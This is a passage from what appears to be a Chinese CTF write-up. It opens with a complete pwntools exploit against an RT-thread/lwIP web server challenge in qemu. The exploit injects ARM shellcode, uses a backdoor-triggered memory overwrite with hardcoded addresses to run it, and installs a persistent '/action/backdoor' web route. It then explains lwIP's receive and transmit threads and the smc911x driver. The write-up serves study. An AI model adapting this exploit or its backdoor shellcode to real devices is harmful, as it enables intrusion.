from pwn import *
import requests
context(
arch='arm',
bits=32,
encoding='latin',
log_level="info"
)

baseURL = "http://localhost:5555"

def create_session():
session = requests.session()
login_data = {"username": "admin", "password": "admin"}
res = session.post(url=baseURL+"/action/login", data=login_data)
assert res.status_code == 200
return session

def submit_msg(session, msg):
# submit_data = msg # {"word": msg}

res = session.post(
url=baseURL+"/action/submit",
headers={ "Content-Type":"application/x-www-form-urlencoded" },
data=msg)
assert res.status_code == 200

# def get_last_submit_msg(session):
# res = session.get(url=baseURL+"/submit.jst")
# assert res.status_code == 200
# return res.content

def execute_shellcode(shellcode_addr=0x6004cb30):
def send_packet(packet_len, data=b''):
p = remote("127.0.0.1", 5555)
remain_len = packet_len - len(data)
assert remain_len >= 0
p.send(data + b"*" * remain_len)
p.close()
time.sleep(0.3)

for ch in "backdoor": # \x62 \x61 \x63 \x6b \x64 \x6f \x6f \x72
send_packet(ord(ch) - 0x3a)
send_packet(0x202 - 0x3a, flat(
"-"*0xa,
0x6b636162, 0x726f6f64, 0x60e4297c, 0x00000202,
0x02020000, 0x609a4208, 0x61cd29f8, 0xffffffff,
0x61cd27e4, 0x60e52d58, 0x04040404, 0x60e429d4,
shellcode_addr, 0x06060606, 0x00000000, 0x08080808,
0x609a4208, 0x61cd278c, 0x6000001f, 0x00000001,
0x2000001f, 0x11111111, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x80000068, 0x60e428e8, 0x00000000, 0x60e52cf4,
0x609a40e4, 0x60e429f0, 0x609a40dc, 0x00000001,
0x60e3a994, 0x60e3a994, 0x60e429f0, 0x00000000,
0x00000006, 0x60e3a9e8, 0x00787265, 0x00000000,
0x00000000, 0x00000005, 0x00000000, 0x00000006,
0x00000000, 0x0000007e, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x80000080, 0x60e42aac,
0x60e42ac0, 0x60e42acc, 0x60e42abc, 0x00000000,
0x60e42a70, 0xffffffff, 0x60e42a70, 0x60e42a70,
0x00000001, 0x60e42a84, 0xffffffff, 0x60e4aaf8,
0x60e4aaf8, 0x00000000, 0x00000008, 0x00000004,
0x0000ffff, 0x00000000, 0x00000000, 0x00000000,
0x60e52bc4, 0x60e52a9c, 0x60e52ab4, 0x60e72954,
0x60e52a9c, 0x60e52a9c, 0x60e52ab4, 0x60e72954,
0x00000000, 0x00000000, 0x80008008, 0xa5a5a5a5,
0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5,
0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5,
0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5,
0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5,
0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5,
0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, "\xa5\xa5",
))

shellcode_addr = 0x60d9c588
sc_bytecode = asm(vma=shellcode_addr, shellcode='''
// save all registers
push {r0-r11}

// memcpy handler to /log_err.html + 0x200
ldr r0, =0x606D3aD0
ldr r1, =backdoor_handler
ldr r2, =0x200
ldr r3, =0x60021704
BL call

// call websDefineAction("backdoor", backdoor_handler)
ldr r0, =backdoor
ldr r1, =0x606D3aD0
ldr r3, =0x6004D28C
BL call

// rt_printf status
mov r1, r0
ldr r0, =rt_printf_fmt
ldr r3, =0x6002111C
BL call

// websAddRoute("/action/backdoor", "action", 0)
ldr r0, =route_path
ldr r1, =route_handler
mov r2, 0
ldr r3, =0x600636A0
BL call

// pop all registers
pop {r0-r11}

// return to origin
ldr pc, =0x6004cb30

/* ----------- backdoor_handler ----------- */
backdoor_handler:
push {r1-r11, lr}
push {r0}

// char* name = websGetVar(wp, key, key);
ldr r0, [sp]
ldr r1, =flag
ldr r2, =flag
ldr r3, =0x600577C4
BL call

// memcpy to 404 data
mov r1, r0
ldr r0, =0x60076824
// ldr r1, =success_page
ldr r2, =23
ldr r3, =0x60021704
BL call

// websSetStatus(wp, 200)
ldr r0, [sp]
ldr r1, =200
ldr r3, =0x600588C4
BL call

// websWriteHeaders(wp, -1, 0)
ldr r0, [sp]
ldr r1, =-1
ldr r2, =0
ldr r3, =0x6005891C
BL call

// websWriteEndHeaders(wp)
ldr r0, [sp]
ldr r3, =0x60058D30
BL call

// websWrite(wp, page)
ldr r0, [sp]
ldr r1, =success_page
ldr r3, =0x60058E2C
BL call

// websDone(wp)
ldr r0, [sp]
ldr r3, =0x6005496C
BL call

pop {r0}
pop {r1-r11, pc}

call: // 手动实现 call r3
push {lr}
mov lr, pc
add lr, lr, 4
mov pc, r3
pop {pc}

flag: .asciz "flag"
backdoor: .asciz "backdoor"
success_page: .asciz "{\\"status\\" : \\"success\\"}"

route_path: .asciz "/action/backdoor"
route_handler: .asciz "action"

rt_printf_fmt: .asciz "shellcode status: %d\\n"
backdoor_fmt: .asciz "backdoor: %s\\n"
''')

if __name__ == '__main__':
# 启动 qemu
p = process("./dbg.sh")
p.recvuntil("lwIP-2.1.3 initialized!")
time.sleep(1)

# 发送并执行 shellcode
log.info("exploiting...")
session = create_session()
submit_msg(session, b"ShellcodeHeader" + sc_bytecode)
execute_shellcode(shellcode_addr)

# 手动进行 health check,并获取 flag
# print(p.recvall(timeout=1))
# os.system("python3 ./flag.py")
p.interactive()

效果:

image-20220131114450939

七、RT-thread – lwIP

这题的题解如上文所示,到此为止。接下来我们来简单扩展一下内容。

a. Overview

这一题 FreeRTOS 中的 lwIP 协议栈模块,是使用的 RT-thread (国产 RTOS)中的 lwIP 。

根据出题人的想法,使用 RT-thread 中的 lwIP 是为了便于调试。

出题也不容易…

lwIP 是一个小型开源的 TCP/IP 协议栈,重点是在保持 TCP 主要功能的基础上减少对 RAM 的占用,适合嵌入式系统。RT-thread 中,协议栈的驱动架构图如下:

驱动架构图

RT-thread 在原版 lwIP 的基础上,新增了一个网络设备层。该层对以太网数据收发采用独立双线程结构

数据接收流程

当以太网硬件接收到数据报文后,硬件会将数据放入缓冲区,之后触发硬件中断。所注册的中断处理例程会发送邮件(mail)通知数据接收线程 erx ,使其根据报文长度申请 pbuf、读入数据,并在数据接收完成后,继续发送邮件唤醒 TCP/IP 线程进行进一步的处理。

数据发送流程

当有数据需要发送时,lwIP 会通过邮件向 etx 线程发送请求,之后永久等待 tx_ack 信号量,等待数据发送完成。而当 ext 线程数据发送完成后, tx_ack 信号量将会被设置,通知 lwIP 数据已经发送完成。

接下来,我们来简单看看这个数据收发的过程。

b. lwip_init

初始时,RTOS 中控制流会执行 lwip_system_init 函数来进行一系列的初始化操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* LwIP system initialization
*/
extern int eth_system_device_init_private(void);
int lwip_system_init(void)
{
...
eth_system_device_init_private();
...
tcpip_init(tcpip_init_done_callback, (void *)&done_sem);
...
rt_kprintf("lwIP-%d.%d.%d initialized!\n", LWIP_VERSION_MAJOR, LWIP_VERSION_MINOR, LWIP_VERSION_REVISION);
...
}

该函数:

  • 执行 eth_system_device_init_private 初始化 erx 和 etx 线程。
  • 调用 tcpip_init 创建 tcpip 线程。
  • 输出回显信息。可以看到这里输出的信息和题目输出的是一样的。

这里我们只关注 eth_system_device_init_private 函数,该函数只做了两件事:创建 etx 和 erx 线程,并创建对应的邮箱。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int eth_system_device_init_private(void)
{
rt_err_t result = RT_EOK;

/* initialize Rx thread. */
#ifndef LWIP_NO_RX_THREAD
/* initialize mailbox and create Ethernet Rx thread */
result = rt_mb_init(&eth_rx_thread_mb, "erxmb",
&eth_rx_thread_mb_pool[0], sizeof(eth_rx_thread_mb_pool)/4,
RT_IPC_FLAG_FIFO);
RT_ASSERT(result == RT_EOK);

result = rt_thread_init(&eth_rx_thread, "erx", eth_rx_thread_entry, RT_NULL,
&eth_rx_thread_stack[0], sizeof(eth_rx_thread_stack),
RT_ETHERNETIF_THREAD_PREORITY, 16);
RT_ASSERT(result == RT_EOK);
result = rt_thread_startup(&eth_rx_thread);
RT_ASSERT(result == RT_EOK);
#endif

/* initialize Tx thread */
#ifndef LWIP_NO_TX_THREAD
/* initialize mailbox and create Ethernet Tx thread */
result = rt_mb_init(&eth_tx_thread_mb, "etxmb",
&eth_tx_thread_mb_pool[0], sizeof(eth_tx_thread_mb_pool)/4,
RT_IPC_FLAG_FIFO);
RT_ASSERT(result == RT_EOK);

result = rt_thread_init(&eth_tx_thread, "etx", eth_tx_thread_entry, RT_NULL,
&eth_tx_thread_stack[0], sizeof(eth_tx_thread_stack),
RT_ETHERNETIF_THREAD_PREORITY, 16);
RT_ASSERT(result == RT_EOK);

result = rt_thread_startup(&eth_tx_thread);
RT_ASSERT(result == RT_EOK);
#endif

return (int)result;
}

我们看看 erx 线程主要干了什么事情:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/* Ethernet Rx Thread */
static void eth_rx_thread_entry(void* parameter)
{
struct eth_device* device;

while (1)
{
// 尝试从邮箱中读取邮件,如果没有邮件则一直阻塞
if (rt_mb_recv(&eth_rx_thread_mb, (rt_ubase_t *)&device, RT_WAITING_FOREVER) == RT_EOK)
{
rt_base_t level;
struct pbuf *p;
...
/* receive all of buffer */
while (1)
{
if(device->eth_rx == RT_NULL) break;

// 调用注册的 eth_rx 函数,从 device 中接收数据
p = device->eth_rx(&(device->parent));
if (p != RT_NULL)
{
/* notify to upper layer */
// 在这里将接收到的数据传给 TCPIP 线程
if( device->netif->input(p, device->netif) != ERR_OK )
{
LWIP_DEBUGF(NETIF_DEBUG, ("ethernetif_input: Input error\n"));
pbuf_free(p);
p = NULL;
}
}
else break;
}
}
else
{
LWIP_ASSERT("Should not happen!\n",0);
}
}
}

从代码中可以得知,该线程会循环读取邮箱 -> 从 device 中读取数据 -> 把读取的数据传给 TCPIP 线程这样的一个过程。

而另一个 etx 线程主要用于和硬件打交道,将 TCPIP 线程发至 etx 线程的数据转发给具体的 device 执行发包操作,待发包完成后发送 ack 回 TCPIP 线程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* Ethernet Tx Thread */
static void eth_tx_thread_entry(void* parameter)
{
struct eth_tx_msg* msg;

while (1)
{
// 阻塞读取邮件
if (rt_mb_recv(&eth_tx_thread_mb, (rt_ubase_t *)&msg, RT_WAITING_FOREVER) == RT_EOK)
{
struct eth_device* enetif;

RT_ASSERT(msg->netif != RT_NULL);
RT_ASSERT(msg->buf != RT_NULL);

enetif = (struct eth_device*)msg->netif->state;
if (enetif != RT_NULL)
{
/* call driver's interface */
// 尝试发包
if (enetif->eth_tx(&(enetif->parent), msg->buf) != RT_EOK)
{
/* transmit eth packet failed */
}
}

/* send ACK */ // 发包完了之后发送 ACK 回到 TCPIP
rt_completion_done(&msg->ack);
}
}
}

c. hw_init

上面是 lwIP 中关于 etx 和 erx 线程的初始化。实际的数据收发操作都是由具体的硬件来完成,那硬件是怎么注册的呢?

这里以 qemu-vexpress-a9 设备为例(没错就是 flag 题所用设备)

根据以下调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* @brief This function will call all levels of initialization functions to complete
* the initialization of the system, and finally start the scheduler.
*/
int rtthread_startup(void);

=> 调用 =>

/**
* @brief This function will create and start the main thread, but this thread
* will not run until the scheduler starts.
*/
void rt_application_init(void);

=> 创建 main 线程,线程执行函数 =>

/**
* @brief The system main thread. In this thread will call the rt_components_init()
* for initialization of RT-Thread Components and call the user's programming
* entry main().
*/
void main_thread_entry(void *parameter);

=> 调用 =>

/**
* @brief RT-Thread Components Initialization.
*/
void rt_components_init(void);

我们可以找到函数 rt_components_init 的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* @brief RT-Thread Components Initialization.
*/
void rt_components_init(void)
{
#if RT_DEBUG_INIT
[...]
#else
volatile const init_fn_t *fn_ptr;

for (fn_ptr = &__rt_init_rti_board_end; fn_ptr < &__rt_init_rti_end; fn_ptr ++)
{
(*fn_ptr)();
}
#endif /* RT_DEBUG_INIT */
}

这里,是不是很像先前使用 IDA 反编译 backdoor 向上找交叉引用的地方?

我们可以看到,该函数会遍历从 __rt_init_rti_board_end -> __rt_init_rti_end 上的每个函数指针,并执行。这两个函数指针代表了什么呢?阅读一下相关的代码和注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
* Components Initialization will initialize some driver and components as following
* order:
* rti_start --> 0
* BOARD_EXPORT --> 1
* rti_board_end --> 1.end
*
* DEVICE_EXPORT --> 2
* COMPONENT_EXPORT --> 3
* FS_EXPORT --> 4
* ENV_EXPORT --> 5
* APP_EXPORT --> 6
*
* rti_end --> 6.end
*
* These automatically initialization, the driver or component initial function must
* be defined with:
* INIT_BOARD_EXPORT(fn);
* INIT_DEVICE_EXPORT(fn);
* ...
* INIT_APP_EXPORT(fn);
* etc.
*/
static int rti_start(void) { return 0; }
INIT_EXPORT(rti_start, "0");

static int rti_board_start(void) { return 0; }
INIT_EXPORT(rti_board_start, "0.end");

static int rti_board_end(void) { return 0; }
INIT_EXPORT(rti_board_end, "1.end");

static int rti_end(void) { return 0; }
INIT_EXPORT(rti_end, "6.end");

还有这个宏定义:

1
2
#define INIT_EXPORT(fn, level)                                                       \
RT_USED const init_fn_t __rt_init_##fn RT_SECTION(".rti_fn." level) = fn

可以得出结论:对于编译出来的二进制文件中,存在一个数据段,名为 .rti_fn。这个段上存放着一些函数指针,用于初始化一系列设备等等;而刚刚所说的两个函数指针所表示的是注册在这个段上的两个函数指针,用于标识段上特定类型函数指针的位置

这里我们可以看到,使用宏 INIT_APP_EXPORT 声明的设备,其函数指针也会存放在 __rt_init_rti_board_end -> __rt_init_rti_end 这个范围。

也就是说使用 INIT_APP_EXPORT 声明的设备,其初始化函数会在 rt_components_init 中执行。

d. smc911_init

接下来我们看看 smc911x 设备驱动,也就是 backdoor 所在的设备驱动 (bsp\qemu-vexpress-a9\drivers\drv_smc911x.c)。

可以看到,该文件中存在这样的一条语句:

1
INIT_APP_EXPORT(smc911x_emac_hw_init);

也就是说 smc911x 设备将初始化函数 smc911x_emac_hw_init 注册进了 .rti_fn 段中,等待被函数 rt_components_init 所调用。
smc911x_emac_hw_init 函数源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int smc911x_emac_hw_init(void)
{
_emac.iobase = VEXPRESS_ETH_BASE;
// 设置中断号
_emac.irqno = IRQ_VEXPRESS_A9_ETH;
...
/* set INT CFG */
smc911x_reg_write(&_emac, LAN9118_IRQ_CFG, LAN9118_IRQ_CFG_IRQ_POL | LAN9118_IRQ_CFG_IRQ_TYPE);
...
#ifdef RT_USING_DEVICE_OPS
_emac.parent.parent.ops = &smc911x_emac_ops;
#else
_emac.parent.parent.init = smc911x_emac_init;
_emac.parent.parent.open = RT_NULL;
_emac.parent.parent.close = RT_NULL;
_emac.parent.parent.read = RT_NULL;
_emac.parent.parent.write = RT_NULL;
_emac.parent.parent.control = smc911x_emac_control;
#endif
_emac.parent.parent.user_data = RT_NULL;
// 注意! 这里设置了 eth_rx 和 eth_tx 方法
_emac.parent.eth_rx = smc911x_emac_rx;
_emac.parent.eth_tx = smc911x_emac_tx;

/* register ETH device */
// 对 eth device 进行初始化
eth_device_init(&(_emac.parent), "e0");
...
}

该函数主要设置了一些操作(ops),例如 smc911x_emac_initsmc911x_emac_rxsmc911x_emac_tx。我们可以看到该函数为结构体 _emac 设置了 eth_rxeth_tx 字段,因此当 lwIP 线程需要收发信息时,会调用该设备的 smc911x_emac_rxsmc911x_emac_tx 这两个函数。

这里比较有意思的是结构体 _emac 的类继承关系:

1
2
3
4
5
6
7
8
9
10
struct eth_device_smc911x
{
/* inherit from Ethernet device */
struct eth_device parent;
/* interface address info. */
rt_uint8_t enetaddr[MAX_ADDR_LEN]; /* MAC address */

uint32_t iobase;
uint32_t irqno;
};

这里存在一个 parent 结构体,类似于 C++ 中的继承,表示了一个具体的以太网设备。而该 eth_device 结构体源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct eth_device
{
/* inherit from rt_device */
struct rt_device parent;

/* network interface for lwip */
struct netif *netif;
struct rt_semaphore tx_ack;

rt_uint16_t flags;
rt_uint8_t link_changed;
rt_uint8_t link_status;
rt_uint8_t rx_notice;

/* eth device interface */
struct pbuf* (*eth_rx)(rt_device_t dev);
rt_err_t (*eth_tx)(rt_device_t dev, struct pbuf* p);
};

#ifdef __cplusplus
extern "C" {
#endif

rt_err_t eth_device_ready(struct eth_device* dev);
rt_err_t eth_device_init(struct eth_device * dev, const char *name);
rt_err_t eth_device_init_with_flag(struct eth_device *dev, const char *name, rt_uint16_t flag);
rt_err_t eth_device_linkchange(struct eth_device* dev, rt_bool_t up);

int eth_system_device_init(void);

#ifdef __cplusplus
}

这个结构体描述了一个抽象的以太网设备接口,其中这些函数指针在 lwIP 层会被调用。

注意到最后 smc911x_emac_hw_init 函数执行了一下 eth_device_init 函数,而该函数最终会调用到 smc911x_emac_init 函数,在其中注册中断处理例程 smc911x_isr

1
rt_hw_interrupt_install(emac->irqno, smc911x_isr, emac, "smc911x");

当以太网设备有数据发出中断后,中断处理例程 smc911x_isr 被调用,如果数据准备好了,则调用 eth_device_ready

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static void smc911x_isr(int vector, void *param)
{
uint32_t status;
struct eth_device_smc911x *emac;

emac = SMC911X_EMAC_DEVICE(param);

status = smc911x_reg_read(emac, LAN9118_INT_STS);

if (status & LAN9118_INT_STS_RSFL)
{
eth_device_ready(&emac->parent);
}
smc911x_reg_write(emac, LAN9118_INT_STS, status);

return ;
}

eth_device_ready 函数会发送邮件给 erx 线程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
rt_err_t eth_device_ready(struct eth_device* dev)
{
if (dev->netif)
{
if(dev->rx_notice == RT_FALSE)
{
dev->rx_notice = RT_TRUE;
// 发送邮件给 erx 线程
return rt_mb_send(&eth_rx_thread_mb, (rt_ubase_t)dev);
}
else
return RT_EOK;
/* post message to Ethernet thread */
}
else
return -RT_ERROR; /* netif is not initialized yet, just return. */
}

这样,整个流程就全部出来了,正对上了最上面的那个流程图。

八、参考

九、鸣谢

特别感谢呆呆师傅的 FLAG 题解技术分享

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2022 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~